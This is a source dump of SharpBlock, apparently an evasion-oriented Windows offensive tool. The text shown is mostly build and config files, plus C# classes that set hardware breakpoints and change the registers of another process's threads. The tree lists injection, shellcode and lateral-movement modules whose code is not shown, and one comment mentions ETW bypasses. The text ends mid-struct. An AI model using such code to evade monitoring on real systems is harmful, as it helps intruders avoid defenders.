├── .gitattributes
├── .github
└── FUNDING.yml
├── .gitignore
├── App.config
├── Context.cs
├── Context32.cs
├── Context64.cs
├── ContextFactory.cs
├── FodyWeavers.xml
├── FodyWeavers.xsd
├── Options.cs
├── PE.cs
├── Program.cs
├── Properties
└── AssemblyInfo.cs
├── README.md
├── SharpBlock.csproj
├── SharpBlock.sln
├── SharpSploit
├── Execution
│ ├── Assembly.cs
│ ├── DynamicInvoke
│ │ ├── Generic.cs
│ │ ├── Native.cs
│ │ └── Win32.cs
│ ├── Injection
│ │ ├── Allocation.cs
│ │ ├── Execution.cs
│ │ ├── Injector.cs
│ │ └── Payload.cs
│ ├── ManualMap
│ │ ├── Map.cs
│ │ └── Overload.cs
│ ├── Native.cs
│ ├── PE.cs
│ ├── PlatformInvoke
│ │ ├── Native.cs
│ │ └── Win32.cs
│ ├── ShellCode.cs
│ └── Win32.cs
├── Generic
│ └── Generic.cs
├── LateralMovement
│ ├── DCOM.cs
│ ├── PowerShellRemoting.cs
│ ├── SCM.cs
│ └── WMI.cs
├── Misc
│ ├── CountdownEvent.cs
│ └── Utilities.cs
├── SharpSploit - Quick Command Reference.md
├── SharpSploit.csproj
├── SharpSploit.nuspec
└── SharpSploit.xml
├── WinAPI.cs
├── packages.config
└── upload.cna
/.gitattributes:
--------------------------------------------------------------------------------
1 | ###############################################################################
2 | # Set default behavior to automatically normalize line endings.
3 | ###############################################################################
4 | * text=auto
5 |
6 | ###############################################################################
7 | # Set default behavior for command prompt diff.
8 | #
9 | # This is need for earlier builds of msysgit that does not have it on by
10 | # default for csharp files.
11 | # Note: This is only used by command line
12 | ###############################################################################
13 | #*.cs diff=csharp
14 |
15 | ###############################################################################
16 | # Set the merge driver for project and solution files
17 | #
18 | # Merging from the command prompt will add diff markers to the files if there
19 | # are conflicts (Merging from VS is not affected by the settings below, in VS
20 | # the diff markers are never inserted). Diff markers may cause the following
21 | # file extensions to fail to load in VS. An alternative would be to treat
22 | # these files as binary and thus will always conflict and require user
23 | # intervention with every merge. To do so, just uncomment the entries below
24 | ###############################################################################
25 | #*.sln merge=binary
26 | #*.csproj merge=binary
27 | #*.vbproj merge=binary
28 | #*.vcxproj merge=binary
29 | #*.vcproj merge=binary
30 | #*.dbproj merge=binary
31 | #*.fsproj merge=binary
32 | #*.lsproj merge=binary
33 | #*.wixproj merge=binary
34 | #*.modelproj merge=binary
35 | #*.sqlproj merge=binary
36 | #*.wwaproj merge=binary
37 |
38 | ###############################################################################
39 | # behavior for image files
40 | #
41 | # image files are treated as binary by default.
42 | ###############################################################################
43 | #*.jpg binary
44 | #*.png binary
45 | #*.gif binary
46 |
47 | ###############################################################################
48 | # diff behavior for common document formats
49 | #
50 | # Convert binary document formats to text before diffing them. This feature
51 | # is only available from the command line. Turn it on by uncommenting the
52 | # entries below.
53 | ###############################################################################
54 | #*.doc diff=astextplain
55 | #*.DOC diff=astextplain
56 | #*.docx diff=astextplain
57 | #*.DOCX diff=astextplain
58 | #*.dot diff=astextplain
59 | #*.DOT diff=astextplain
60 | #*.pdf diff=astextplain
61 | #*.PDF diff=astextplain
62 | #*.rtf diff=astextplain
63 | #*.RTF diff=astextplain
64 |
--------------------------------------------------------------------------------
/.github/FUNDING.yml:
--------------------------------------------------------------------------------
1 | github: [CCob]
2 |
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
1 | ## Ignore Visual Studio temporary files, build results, and
2 | ## files generated by popular Visual Studio add-ons.
3 | ##
4 | ## Get latest from https://github.com/github/gitignore/blob/master/VisualStudio.gitignore
5 |
6 | # User-specific files
7 | *.rsuser
8 | *.suo
9 | *.user
10 | *.userosscache
11 | *.sln.docstates
12 |
13 | # User-specific files (MonoDevelop/Xamarin Studio)
14 | *.userprefs
15 |
16 | # Build results
17 | [Dd]ebug/
18 | [Dd]ebugPublic/
19 | [Rr]elease/
20 | [Rr]eleases/
21 | x64/
22 | x86/
23 | [Aa][Rr][Mm]/
24 | [Aa][Rr][Mm]64/
25 | bld/
26 | [Bb]in/
27 | [Oo]bj/
28 | [Ll]og/
29 |
30 | # Visual Studio 2015/2017 cache/options directory
31 | .vs/
32 | # Uncomment if you have tasks that create the project's static files in wwwroot
33 | #wwwroot/
34 |
35 | # Visual Studio 2017 auto generated files
36 | Generated\ Files/
37 |
38 | # MSTest test Results
39 | [Tt]est[Rr]esult*/
40 | [Bb]uild[Ll]og.*
41 |
42 | # NUNIT
43 | *.VisualState.xml
44 | TestResult.xml
45 |
46 | # Build Results of an ATL Project
47 | [Dd]ebugPS/
48 | [Rr]eleasePS/
49 | dlldata.c
50 |
51 | # Benchmark Results
52 | BenchmarkDotNet.Artifacts/
53 |
54 | # .NET Core
55 | project.lock.json
56 | project.fragment.lock.json
57 | artifacts/
58 |
59 | # StyleCop
60 | StyleCopReport.xml
61 |
62 | # Files built by Visual Studio
63 | *_i.c
64 | *_p.c
65 | *_h.h
66 | *.ilk
67 | *.meta
68 | *.obj
69 | *.iobj
70 | *.pch
71 | *.pdb
72 | *.ipdb
73 | *.pgc
74 | *.pgd
75 | *.rsp
76 | *.sbr
77 | *.tlb
78 | *.tli
79 | *.tlh
80 | *.tmp
81 | *.tmp_proj
82 | *_wpftmp.csproj
83 | *.log
84 | *.vspscc
85 | *.vssscc
86 | .builds
87 | *.pidb
88 | *.svclog
89 | *.scc
90 |
91 | # Chutzpah Test files
92 | _Chutzpah*
93 |
94 | # Visual C++ cache files
95 | ipch/
96 | *.aps
97 | *.ncb
98 | *.opendb
99 | *.opensdf
100 | *.sdf
101 | *.cachefile
102 | *.VC.db
103 | *.VC.VC.opendb
104 |
105 | # Visual Studio profiler
106 | *.psess
107 | *.vsp
108 | *.vspx
109 | *.sap
110 |
111 | # Visual Studio Trace Files
112 | *.e2e
113 |
114 | # TFS 2012 Local Workspace
115 | $tf/
116 |
117 | # Guidance Automation Toolkit
118 | *.gpState
119 |
120 | # ReSharper is a .NET coding add-in
121 | _ReSharper*/
122 | *.[Rr]e[Ss]harper
123 | *.DotSettings.user
124 |
125 | # JustCode is a .NET coding add-in
126 | .JustCode
127 |
128 | # TeamCity is a build add-in
129 | _TeamCity*
130 |
131 | # DotCover is a Code Coverage Tool
132 | *.dotCover
133 |
134 | # AxoCover is a Code Coverage Tool
135 | .axoCover/*
136 | !.axoCover/settings.json
137 |
138 | # Visual Studio code coverage results
139 | *.coverage
140 | *.coveragexml
141 |
142 | # NCrunch
143 | _NCrunch_*
144 | .*crunch*.local.xml
145 | nCrunchTemp_*
146 |
147 | # MightyMoose
148 | *.mm.*
149 | AutoTest.Net/
150 |
151 | # Web workbench (sass)
152 | .sass-cache/
153 |
154 | # Installshield output folder
155 | [Ee]xpress/
156 |
157 | # DocProject is a documentation generator add-in
158 | DocProject/buildhelp/
159 | DocProject/Help/*.HxT
160 | DocProject/Help/*.HxC
161 | DocProject/Help/*.hhc
162 | DocProject/Help/*.hhk
163 | DocProject/Help/*.hhp
164 | DocProject/Help/Html2
165 | DocProject/Help/html
166 |
167 | # Click-Once directory
168 | publish/
169 |
170 | # Publish Web Output
171 | *.[Pp]ublish.xml
172 | *.azurePubxml
173 | # Note: Comment the next line if you want to checkin your web deploy settings,
174 | # but database connection strings (with potential passwords) will be unencrypted
175 | *.pubxml
176 | *.publishproj
177 |
178 | # Microsoft Azure Web App publish settings. Comment the next line if you want to
179 | # checkin your Azure Web App publish settings, but sensitive information contained
180 | # in these scripts will be unencrypted
181 | PublishScripts/
182 |
183 | # NuGet Packages
184 | *.nupkg
185 | # The packages folder can be ignored because of Package Restore
186 | **/[Pp]ackages/*
187 | # except build/, which is used as an MSBuild target.
188 | !**/[Pp]ackages/build/
189 | # Uncomment if necessary however generally it will be regenerated when needed
190 | #!**/[Pp]ackages/repositories.config
191 | # NuGet v3's project.json files produces more ignorable files
192 | *.nuget.props
193 | *.nuget.targets
194 |
195 | # Microsoft Azure Build Output
196 | csx/
197 | *.build.csdef
198 |
199 | # Microsoft Azure Emulator
200 | ecf/
201 | rcf/
202 |
203 | # Windows Store app package directories and files
204 | AppPackages/
205 | BundleArtifacts/
206 | Package.StoreAssociation.xml
207 | _pkginfo.txt
208 | *.appx
209 |
210 | # Visual Studio cache files
211 | # files ending in .cache can be ignored
212 | *.[Cc]ache
213 | # but keep track of directories ending in .cache
214 | !?*.[Cc]ache/
215 |
216 | # Others
217 | ClientBin/
218 | ~$*
219 | *~
220 | *.dbmdl
221 | *.dbproj.schemaview
222 | *.jfm
223 | *.pfx
224 | *.publishsettings
225 | orleans.codegen.cs
226 |
227 | # Including strong name files can present a security risk
228 | # (https://github.com/github/gitignore/pull/2483#issue-259490424)
229 | #*.snk
230 |
231 | # Since there are multiple workflows, uncomment next line to ignore bower_components
232 | # (https://github.com/github/gitignore/pull/1529#issuecomment-104372622)
233 | #bower_components/
234 |
235 | # RIA/Silverlight projects
236 | Generated_Code/
237 |
238 | # Backup & report files from converting an old project file
239 | # to a newer Visual Studio version. Backup files are not needed,
240 | # because we have git ;-)
241 | _UpgradeReport_Files/
242 | Backup*/
243 | UpgradeLog*.XML
244 | UpgradeLog*.htm
245 | ServiceFabricBackup/
246 | *.rptproj.bak
247 |
248 | # SQL Server files
249 | *.mdf
250 | *.ldf
251 | *.ndf
252 |
253 | # Business Intelligence projects
254 | *.rdl.data
255 | *.bim.layout
256 | *.bim_*.settings
257 | *.rptproj.rsuser
258 | *- Backup*.rdl
259 |
260 | # Microsoft Fakes
261 | FakesAssemblies/
262 |
263 | # GhostDoc plugin setting file
264 | *.GhostDoc.xml
265 |
266 | # Node.js Tools for Visual Studio
267 | .ntvs_analysis.dat
268 | node_modules/
269 |
270 | # Visual Studio 6 build log
271 | *.plg
272 |
273 | # Visual Studio 6 workspace options file
274 | *.opt
275 |
276 | # Visual Studio 6 auto-generated workspace file (contains which files were open etc.)
277 | *.vbw
278 |
279 | # Visual Studio LightSwitch build output
280 | **/*.HTMLClient/GeneratedArtifacts
281 | **/*.DesktopClient/GeneratedArtifacts
282 | **/*.DesktopClient/ModelManifest.xml
283 | **/*.Server/GeneratedArtifacts
284 | **/*.Server/ModelManifest.xml
285 | _Pvt_Extensions
286 |
287 | # Paket dependency manager
288 | .paket/paket.exe
289 | paket-files/
290 |
291 | # FAKE - F# Make
292 | .fake/
293 |
294 | # JetBrains Rider
295 | .idea/
296 | *.sln.iml
297 |
298 | # CodeRush personal settings
299 | .cr/personal
300 |
301 | # Python Tools for Visual Studio (PTVS)
302 | __pycache__/
303 | *.pyc
304 |
305 | # Cake - Uncomment if you are using it
306 | # tools/**
307 | # !tools/packages.config
308 |
309 | # Tabs Studio
310 | *.tss
311 |
312 | # Telerik's JustMock configuration file
313 | *.jmconfig
314 |
315 | # BizTalk build output
316 | *.btp.cs
317 | *.btm.cs
318 | *.odx.cs
319 | *.xsd.cs
320 |
321 | # OpenCover UI analysis results
322 | OpenCover/
323 |
324 | # Azure Stream Analytics local run output
325 | ASALocalRun/
326 |
327 | # MSBuild Binary and Structured Log
328 | *.binlog
329 |
330 | # NVidia Nsight GPU debugger configuration file
331 | *.nvuser
332 |
333 | # MFractors (Xamarin productivity tool) working folder
334 | .mfractor/
335 |
336 | # Local History for Visual Studio
337 | .localhistory/
338 |
339 | # BeatPulse healthcheck temp database
340 | healthchecksdb
--------------------------------------------------------------------------------
/App.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
--------------------------------------------------------------------------------
/Context.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Runtime.InteropServices;
5 | using System.Text;
6 | using System.Threading.Tasks;
7 |
8 | namespace SharpBlock {
9 |
10 | public enum ContextFlags {
11 | All,
12 | Debug
13 | }
14 |
15 | public abstract class Context : IDisposable {
16 |
17 | IntPtr mem;
18 | IntPtr memAligned;
19 |
20 | public Context() {
21 | //Get/SetThreadContext needs to be 16 byte aligned memory offset on x64
22 | mem = Marshal.AllocHGlobal(Marshal.SizeOf(ContextStruct) + 1024);
23 | memAligned = new IntPtr(mem.ToInt64() & ~0xF);
24 | }
25 |
26 | public void Dispose() {
27 | if(mem != IntPtr.Zero) {
28 | Marshal.FreeHGlobal(mem);
29 | }
30 | }
31 |
32 | public bool GetContext(IntPtr thread) {
33 | Marshal.StructureToPtr(ContextStruct, memAligned, false);
34 | bool result = GetContext(thread, memAligned);
35 | ContextStruct = Marshal.PtrToStructure(memAligned, ContextStruct.GetType());
36 | return result;
37 | }
38 |
39 | public bool SetContext(IntPtr thread){
40 | Marshal.StructureToPtr(ContextStruct, memAligned, false);
41 | return SetContext(thread, memAligned);
42 | }
43 |
44 | public ulong SetBits(ulong dw, int lowBit, int bits, ulong newValue) {
45 | ulong mask = (1UL << bits) - 1UL;
46 | dw = (dw & ~(mask << lowBit)) | (newValue << lowBit);
47 | return dw;
48 | }
49 |
50 | protected abstract object ContextStruct { get; set; }
51 |
52 | protected abstract bool SetContext(IntPtr thread, IntPtr context);
53 |
54 | protected abstract bool GetContext(IntPtr thread, IntPtr context);
55 |
56 | public abstract ulong Ip { get; set; }
57 |
58 | public abstract void SetResultRegister(ulong result);
59 |
60 | public abstract ulong GetCurrentReturnAddress(IntPtr hProcess);
61 |
62 | public abstract void PopStackPointer();
63 |
64 | public abstract void EnableBreakpoint(IntPtr address, int index);
65 |
66 | public abstract void ClearBreakpoint(int index);
67 |
68 | public abstract void EnableSingleStep();
69 |
70 | public abstract void SetRegister(int index, long value);
71 |
72 | public abstract long GetRegister(int index);
73 |
74 | public abstract long GetParameter(int index, IntPtr hProcess);
75 | }
76 | }
77 |
--------------------------------------------------------------------------------
/Context32.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Text;
5 | using System.Threading.Tasks;
6 |
7 | namespace SharpBlock {
8 | public class Context32 : Context {
9 |
10 | WinAPI.CONTEXT ctx = new WinAPI.CONTEXT();
11 |
12 | public override ulong Ip {
13 | get => ctx.Eip ; set => ctx.Eip = (uint)value;
14 | }
15 |
16 | protected override object ContextStruct { get => ctx; set => ctx = (WinAPI.CONTEXT)value; }
17 |
18 | public Context32(ContextFlags contextFlags) {
19 | switch (contextFlags) {
20 | case ContextFlags.All:
21 | ctx.ContextFlags = WinAPI.CONTEXT_FLAGS.CONTEXT_ALL;
22 | break;
23 | case ContextFlags.Debug:
24 | ctx.ContextFlags = WinAPI.CONTEXT_FLAGS.CONTEXT_DEBUG_REGISTERS;
25 | break;
26 | }
27 | }
28 |
29 | public override ulong GetCurrentReturnAddress(IntPtr hProcess) {
30 | byte[] returnAddress = new byte[4];
31 | IntPtr bytesRead;
32 | WinAPI.ReadProcessMemory(hProcess, new IntPtr((long)ctx.Esp), returnAddress, 4, out bytesRead);
33 | return BitConverter.ToUInt32(returnAddress, 0);
34 | }
35 |
36 | public override void SetResultRegister(ulong result) {
37 | ctx.Eax = (uint)result;
38 | }
39 |
40 | public override void PopStackPointer() {
41 | ctx.Esp += 4;
42 | }
43 |
44 | public override void EnableBreakpoint(IntPtr address, int index) {
45 | //Currently only supports first hardware breakpoint, could
46 | //be expanded to support up to 4 hardware breakpoint for altering
47 | //ETW and other potensial bypasses
48 | ctx.Dr0 = (uint)address.ToInt32();
49 | //Set bits 16-19 as 0, DR0 for execute HBP
50 | ctx.Dr7 = (uint)SetBits((ulong)ctx.Dr7, 16, 4, 0);
51 | //Set DR0 HBP as enabled
52 | ctx.Dr7 = (uint)SetBits((ulong)ctx.Dr7, 0, 2, 3);
53 | ctx.Dr6 = 0;
54 | }
55 |
56 | public override void EnableSingleStep() {
57 | ctx.Dr0 = ctx.Dr6 = ctx.Dr7 = 0;
58 | ctx.EFlags |= (1 << 8);
59 | }
60 |
61 | public override void ClearBreakpoint(int index) {
62 | ctx.Dr0 = ctx.Dr6 = ctx.Dr7 = 0;
63 | ctx.EFlags = 0;
64 | }
65 |
66 | protected override bool SetContext(IntPtr thread, IntPtr context) {
67 | return WinAPI.SetThreadContext(thread, context);
68 | }
69 |
70 | protected override bool GetContext(IntPtr thread, IntPtr context) {
71 | return WinAPI.GetThreadContext(thread, context);
72 | }
73 |
74 | public override void SetRegister(int index, long value) {
75 | switch (index) {
76 | case 0:
77 | ctx.Eax = (uint)value;
78 | break;
79 | case 1:
80 | ctx.Ebx = (uint)value;
81 | break;
82 | case 2:
83 | ctx.Ecx = (uint)value;
84 | break;
85 | case 3:
86 | ctx.Edx = (uint)value;
87 | break;
88 | default:
89 | throw new NotImplementedException();
90 | }
91 | }
92 |
93 | public override long GetRegister(int index) {
94 | switch (index) {
95 | case 0:
96 | return (long)ctx.Eax;
97 | case 1:
98 | return (long)ctx.Ebx;
99 | case 2:
100 | return (long)ctx.Ecx;
101 | case 3:
102 | return (long)ctx.Edx;
103 | default:
104 | throw new NotImplementedException();
105 | }
106 | }
107 |
108 | public override long GetParameter(int index, IntPtr hProcess) {
109 | long parameterAddress = ctx.Esp + 4 + (index * 4);
110 | byte[] parameterValue = new byte[4];
111 | IntPtr bytesRead;
112 | WinAPI.ReadProcessMemory(hProcess, new IntPtr(parameterAddress), parameterValue, 4, out bytesRead);
113 | return BitConverter.ToUInt32(parameterValue, 0);
114 | }
115 | }
116 | }
117 |
--------------------------------------------------------------------------------
/Context64.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Text;
5 | using System.Threading.Tasks;
6 |
7 | namespace SharpBlock {
8 | public class Context64 : Context {
9 |
10 | WinAPI.CONTEXT64 ctx = new WinAPI.CONTEXT64();
11 |
12 | public override ulong Ip {
13 | get => ctx.Rip; set => ctx.Rip = value;
14 | }
15 | protected override object ContextStruct { get => ctx; set => ctx = (WinAPI.CONTEXT64)value; }
16 |
17 | public Context64(ContextFlags contextFlags) {
18 | switch (contextFlags) {
19 | case ContextFlags.All:
20 | ctx.ContextFlags = WinAPI.CONTEXT64_FLAGS.CONTEXT64_ALL;
21 | break;
22 | case ContextFlags.Debug:
23 | ctx.ContextFlags = WinAPI.CONTEXT64_FLAGS.CONTEXT64_DEBUG_REGISTERS;
24 | break;
25 | }
26 | }
27 |
28 | public override ulong GetCurrentReturnAddress(IntPtr hProcess) {
29 | byte[] returnAddress = new byte[8];
30 | IntPtr bytesRead;
31 | WinAPI.ReadProcessMemory(hProcess, new IntPtr((long)ctx.Rsp), returnAddress,8, out bytesRead);
32 | return BitConverter.ToUInt64(returnAddress, 0);
33 | }
34 |
35 | public override void SetResultRegister(ulong result) {
36 | ctx.Rax = result;
37 | }
38 |
39 | public override void SetRegister(int index, long value) {
40 | switch (index) {
41 | case 0:
42 | ctx.Rax = (ulong)value;
43 | break;
44 | case 1:
45 | ctx.Rbx = (ulong)value;
46 | break;
47 | case 2:
48 | ctx.Rcx = (ulong)value;
49 | break;
50 | case 3:
51 | ctx.Rdx = (ulong)value;
52 | break;
53 | default:
54 | throw new NotImplementedException();
55 | }
56 | }
57 |
58 | public override long GetRegister(int index) {
59 | switch (index) {
60 | case 0:
61 | return (long)ctx.Rax;
62 | case 1:
63 | return (long)ctx.Rbx;
64 | case 2:
65 | return (long)ctx.Rcx;
66 | case 3:
67 | return (long)ctx.Rdx;
68 | default:
69 | throw new NotImplementedException();
70 | }
71 | }
72 |
73 | public override void PopStackPointer() {
74 | ctx.Rsp += 8;
75 | }
76 |
77 | public override void EnableBreakpoint(IntPtr address, int index) {
78 |
79 | switch (index) {
80 | case 0:
81 | ctx.Dr0 = (ulong)address.ToInt64();
82 | break;
83 | case 1:
84 | ctx.Dr1 = (ulong)address.ToInt64();
85 | break;
86 | case 2:
87 | ctx.Dr2 = (ulong)address.ToInt64();
88 | break;
89 | case 3:
90 | ctx.Dr3 = (ulong)address.ToInt64();
91 | break;
92 | }
93 |
94 | //Set bits 16-31 as 0, which sets
95 | //DR0-DR3 HBP's for execute HBP
96 | ctx.Dr7 = SetBits(ctx.Dr7, 16, 16, 0);
97 |
98 | //Set DRx HBP as enabled for local mode
99 | ctx.Dr7 = SetBits(ctx.Dr7, (index * 2), 1, 1);
100 | ctx.Dr6 = 0;
101 | }
102 |
103 | public override void EnableSingleStep() {
104 | ctx.Dr0 = ctx.Dr6 = ctx.Dr7 = 0;
105 | ctx.EFlags |= (1 << 8);
106 | }
107 |
108 | public override void ClearBreakpoint(int index) {
109 |
110 | //Clear the releveant hardware breakpoint
111 | switch (index) {
112 | case 0:
113 | ctx.Dr0 = 0;
114 | break;
115 | case 1:
116 | ctx.Dr1 = 0;
117 | break;
118 | case 2:
119 | ctx.Dr2 = 0;
120 | break;
121 | case 3:
122 | ctx.Dr3 = 0;
123 | break;
124 | }
125 |
126 | //Clear DRx HBP to disable for local mode
127 | ctx.Dr7 = SetBits(ctx.Dr7, (index * 2), 1, 0);
128 | ctx.Dr6 = 0;
129 | ctx.EFlags = 0;
130 | }
131 |
132 | protected override bool SetContext(IntPtr thread, IntPtr context) {
133 | return WinAPI.SetThreadContext(thread, context);
134 | }
135 |
136 | protected override bool GetContext(IntPtr thread, IntPtr context) {
137 | return WinAPI.GetThreadContext(thread, context);
138 | }
139 |
140 | public override long GetParameter(int index, IntPtr hProcess) {
141 |
142 | switch (index) {
143 | case 0:
144 | return (long)ctx.Rcx;
145 | case 1:
146 | return (long)ctx.Rdx;
147 | case 2:
148 | return (long)ctx.R8;
149 | case 3:
150 | return (long)ctx.R9;
151 | }
152 |
153 | throw new NotImplementedException("Only 4 parameters or less currently supported");
154 | }
155 | }
156 | }
157 |
--------------------------------------------------------------------------------
/ContextFactory.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Text;
5 | using System.Threading.Tasks;
6 |
7 | namespace SharpBlock {
8 | public static class ContextFactory {
9 | public static Context Create(ContextFlags contextFlags) {
10 | if(IntPtr.Size == 8) {
11 | return new Context64(contextFlags);
12 | } else {
13 | return new Context32(contextFlags);
14 | }
15 | }
16 | }
17 | }
18 |
--------------------------------------------------------------------------------
/FodyWeavers.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
--------------------------------------------------------------------------------
/FodyWeavers.xsd:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 | A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with line breaks
13 |
14 |
15 |
16 |
17 | A list of assembly names to include from the default action of "embed all Copy Local references", delimited with line breaks.
18 |
19 |
20 |
21 |
22 | A list of unmanaged 32 bit assembly names to include, delimited with line breaks.
23 |
24 |
25 |
26 |
27 | A list of unmanaged 64 bit assembly names to include, delimited with line breaks.
28 |
29 |
30 |
31 |
32 | The order of preloaded assemblies, delimited with line breaks.
33 |
34 |
35 |
36 |
37 |
38 | This will copy embedded files to disk before loading them into memory. This is helpful for some scenarios that expected an assembly to be loaded from a physical file.
39 |
40 |
41 |
42 |
43 | Controls if .pdbs for reference assemblies are also embedded.
44 |
45 |
46 |
47 |
48 | Embedded assemblies are compressed by default, and uncompressed when they are loaded. You can turn compression off with this option.
49 |
50 |
51 |
52 |
53 | As part of Costura, embedded assemblies are no longer included as part of the build. This cleanup can be turned off.
54 |
55 |
56 |
57 |
58 | Costura by default will load as part of the module initialization. This flag disables that behavior. Make sure you call CosturaUtility.Initialize() somewhere in your code.
59 |
60 |
61 |
62 |
63 | Costura will by default use assemblies with a name like 'resources.dll' as a satellite resource and prepend the output path. This flag disables that behavior.
64 |
65 |
66 |
67 |
68 | A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with |
69 |
70 |
71 |
72 |
73 | A list of assembly names to include from the default action of "embed all Copy Local references", delimited with |.
74 |
75 |
76 |
77 |
78 | A list of unmanaged 32 bit assembly names to include, delimited with |.
79 |
80 |
81 |
82 |
83 | A list of unmanaged 64 bit assembly names to include, delimited with |.
84 |
85 |
86 |
87 |
88 | The order of preloaded assemblies, delimited with |.
89 |
90 |
91 |
92 |
93 |
94 |
95 |
96 | 'true' to run assembly verification (PEVerify) on the target assembly after all weavers have been executed.
97 |
98 |
99 |
100 |
101 | A comma-separated list of error codes that can be safely ignored in assembly verification.
102 |
103 |
104 |
105 |
106 | 'false' to turn off automatic generation of the XML Schema file.
107 |
108 |
109 |
110 |
111 |
--------------------------------------------------------------------------------
/PE.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Runtime.InteropServices;
5 | using System.Text;
6 | using System.Threading.Tasks;
7 |
8 | namespace SharpBlock {
9 | class PE {
10 |
11 |
12 | [StructLayout(LayoutKind.Sequential, Pack = 0)]
13 | public struct LIST_ENTRY {
14 | public IntPtr Flink;
15 | public IntPtr Blink;
16 | }
17 |
18 | [StructLayout(LayoutKind.Sequential, Pack = 0)]
19 | public struct LDR_DATA_TABLE_ENTRY {
20 | public LIST_ENTRY InLoadOrderModuleListPtr;
21 | public LIST_ENTRY InMemoryOrderModuleListPtr;
22 | public LIST_ENTRY InInitOrderModuleListPtr;
23 | public IntPtr DllBase;
24 | public IntPtr EntryPoint;
25 | public uint SizeOfImage;
26 | public UNICODE_STRING FullDllName;
27 | public UNICODE_STRING BaseDllName;
28 | }
29 |
30 |
31 | [StructLayout(LayoutKind.Sequential, Pack = 0)]
32 | public struct PEB_LDR_DATA {
33 | public int Length;
34 | public int Initialized;
35 | public int SsHandle;
36 | public LIST_ENTRY InLoadOrderModuleListPtr;
37 | public LIST_ENTRY InMemoryOrderModuleListPtr;
38 | public LIST_ENTRY InInitOrderModuleListPtr;
39 | public int EntryInProgress;
40 | public int ShutdownInProgress;
41 | public int ShutdownThreadId;
42 | }
43 |
44 | [StructLayout(LayoutKind.Sequential)]
45 | public struct UNICODE_STRING : IDisposable {
46 | public ushort Length;
47 | public ushort MaximumLength;
48 | private IntPtr buffer;
49 |
50 | public UNICODE_STRING(string s) {
51 | Length = (ushort)(s.Length * 2);
52 | MaximumLength = (ushort)(Length + 2);
53 | buffer = Marshal.StringToHGlobalUni(s);
54 | }
55 |
56 | public void Dispose() {
57 | Marshal.FreeHGlobal(buffer);
58 | buffer = IntPtr.Zero;
59 | }
60 |
61 | public override string ToString() {
62 | return Marshal.PtrToStringUni(buffer);
63 | }
64 | }
65 |
66 | [StructLayout(LayoutKind.Sequential)]
67 | public struct CURDIR {
68 | public UNICODE_STRING DosPath;
69 | public IntPtr Handle;
70 | }
71 |
72 | [StructLayout(LayoutKind.Sequential)]
73 | public struct RTL_USER_PROCESS_PARAMETERS {
74 | public uint MaxLen;
75 | public uint Len;
76 | public uint Flags;
77 | public uint DebugFlags;
78 | public IntPtr ConsoleHandle;
79 | public uint ConsoleFlags;
80 | public IntPtr StandardInput;
81 | public IntPtr StandardOutput;
82 | public IntPtr StandardError;
83 | public CURDIR CurrentDirectory;
84 | public UNICODE_STRING DllPath;
85 | public UNICODE_STRING ImagePathName;
86 | public UNICODE_STRING CommandLine;
87 | public IntPtr Environment;
88 | }
89 |
90 | [StructLayout(LayoutKind.Sequential)]
91 | public struct LOAD_CONFIGURATION_LAYOUT_64 {
92 | public int Characteristics;
93 | public int TimeDataStamp;
94 | public short MajorVersion;
95 | public short MinorVersion;
96 | public int GlobalFlagsClear;
97 | public int GlobalFlagsSet;
98 | public int CriticalScetionDefaultTimeout;
99 | public long DeCommitFreeBlockThreshhold;
100 | public long DeCommitTotalFreeThreshhold;
101 | public long LockPrefixTable;
102 | public long MaximumAllocationSize;
103 | public long VirtualMemoryThreshhold;
104 | public long ProcessAfinityMask;
105 | public int ProcessHeapFlags;
106 | public short CSDVersion;
107 | public short Reserved;
108 | public long EditList;
109 | public long SecurityCookie;
110 | public long SEHandlerTable;
111 | public long SEHandlerCount;
112 | public long GuardCFCheckFunctionPointer;
113 | public long GuardCFDispatchFunctionPointer;
114 | public long GuardCFFunctionPointer;
115 | public long GuardCFFunctionCount;
116 | public int GuardFlags;
117 | [MarshalAs(UnmanagedType.ByValArray, SizeConst = 12)]
118 | public byte[] CodeIntegrity;
119 | public long GuardAddressTakenIatEntryTable;
120 | public long GuardAddressTakenIatEntryCount;
121 | public long GuardLongJumpTargetTable;
122 | public long GuardLongJumpTargetCount;
123 | }
124 |
125 | public struct IMAGE_DOS_HEADER { // DOS .EXE header
126 | public UInt16 e_magic; // Magic number
127 | public UInt16 e_cblp; // Bytes on last page of file
128 | public UInt16 e_cp; // Pages in file
129 | public UInt16 e_crlc; // Relocations
130 | public UInt16 e_cparhdr; // Size of header in paragraphs
131 | public UInt16 e_minalloc; // Minimum extra paragraphs needed
132 | public UInt16 e_maxalloc; // Maximum extra paragraphs needed
133 | public UInt16 e_ss; // Initial (relative) SS value
134 | public UInt16 e_sp; // Initial SP value
135 | public UInt16 e_csum; // Checksum
136 | public UInt16 e_ip; // Initial IP value
137 | public UInt16 e_cs; // Initial (relative) CS value
138 | public UInt16 e_lfarlc; // File address of relocation table
139 | public UInt16 e_ovno; // Overlay number
140 | public UInt16 e_res_0; // Reserved words
141 | public UInt16 e_res_1; // Reserved words
142 | public UInt16 e_res_2; // Reserved words
143 | public UInt16 e_res_3; // Reserved words
144 | public UInt16 e_oemid; // OEM identifier (for e_oeminfo)
145 | public UInt16 e_oeminfo; // OEM information; e_oemid specific
146 | public UInt16 e_res2_0; // Reserved words
147 | public UInt16 e_res2_1; // Reserved words
148 | public UInt16 e_res2_2; // Reserved words
149 | public UInt16 e_res2_3; // Reserved words
150 | public UInt16 e_res2_4; // Reserved words
151 | public UInt16 e_res2_5; // Reserved words
152 | public UInt16 e_res2_6; // Reserved words
153 | public UInt16 e_res2_7; // Reserved words
154 | public UInt16 e_res2_8; // Reserved words
155 | public UInt16 e_res2_9; // Reserved words
